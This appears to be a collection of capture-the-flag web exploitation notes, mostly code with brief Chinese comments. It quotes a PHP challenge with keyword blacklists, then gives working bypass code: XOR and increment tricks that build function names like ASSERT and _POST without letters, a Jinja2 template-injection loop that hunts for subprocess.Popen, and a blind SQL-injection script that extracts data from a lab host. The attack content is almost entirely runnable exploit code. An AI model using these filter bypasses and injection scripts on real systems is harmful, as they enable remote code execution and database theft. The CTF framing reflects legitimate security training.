echo"<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) { if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']) ) die('You seem to want to do something bad?'); }
if (!preg_match('/http|https/i', $_GET['file'])) { if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo"Neeeeee! Good Job!<br>"; } } elsedie('fxck you! What do you want to do ?!');
if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } }
if (file_get_contents($file) !== 'debu_debu_aqua') die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag"]); echo"Very good! you know my password. But what is flag?<br>"; } else{ die("fxck you! you don't know my password! And you don't know sha1! why you come here!"); }
if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include"flag.php"; $code('', $arg); } ?>
import re str = r"!@#$%^*()+<>?;:-[]{}\/" # if re.match('[a-zA-Z0-9]+','a'):
result="" print(chr(ord('!')^ord('@'))) for j in range(len(str)): for i in range(len(str)): result=chr(ord(str[j])^ord(str[i])) # print(result) if re.match('[a-zA-Z0-9]+',result): # if result=='_': print(str[j]+"^"+str[i]+"="+result)
同类型的还有一个取反
方法二:++特性取字符
<?php $_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $___.=$__;
$____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $____.=$__;
import re str = r"~!@#$%^&*()_+<>?,.;:-[]{}\/" # if re.match('[a-zA-Z0-9]+','a'):
result="" print(chr(ord('!')^ord('@'))) for j in range(len(str)): for i in range(len(str)): result=chr(ord(str[j])^ord(str[i])) # print(result) if re.match('[a-zA-Z0-9]+',result): print str[j]+"^"+str[i]+"="+result print("\n")
import urllib.parse find = ['G','E','t','_'] for i in range(1,256): for j in range(1,256): result=chr(i^j) if(result in find): a= i.to_bytes(1,byteorder='big')#将十进制整数,转化为bytes(十六进制) b= j.to_bytes(1,byteorder='big') a= urllib.parse.quote(a)#进行URL编码 b= urllib.parse.quote(b) print("%s:%s^%s"%(result,a,b))
for i in range(1,1000): payload = "{{''.__class__.__mro__[-1].__subclasses__()[%s]}}"%i print(payload) if'subprocess.Popen'in s.get(url+payload).text: print(i) break
import requests s=requests.session() url="http://38e59c90-abd2-495b-8ea0-e256893cdce2.node3.buuoj.cn/index.php" payload="" deftrans(flag): res='' for i in flag: res+=hex(ord(i)) res='0x'+res.replace('0x','') return res flag='' for i in range(1,500): hexchar='' for char in range(32,126): hexchar = trans(flag+chr(char)) payload = '2||((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar) data = { 'id': payload } r = requests.post(url=url, data=data) text = r.text if'Nu1L'in r.text: flag += chr(char - 1) print(flag) break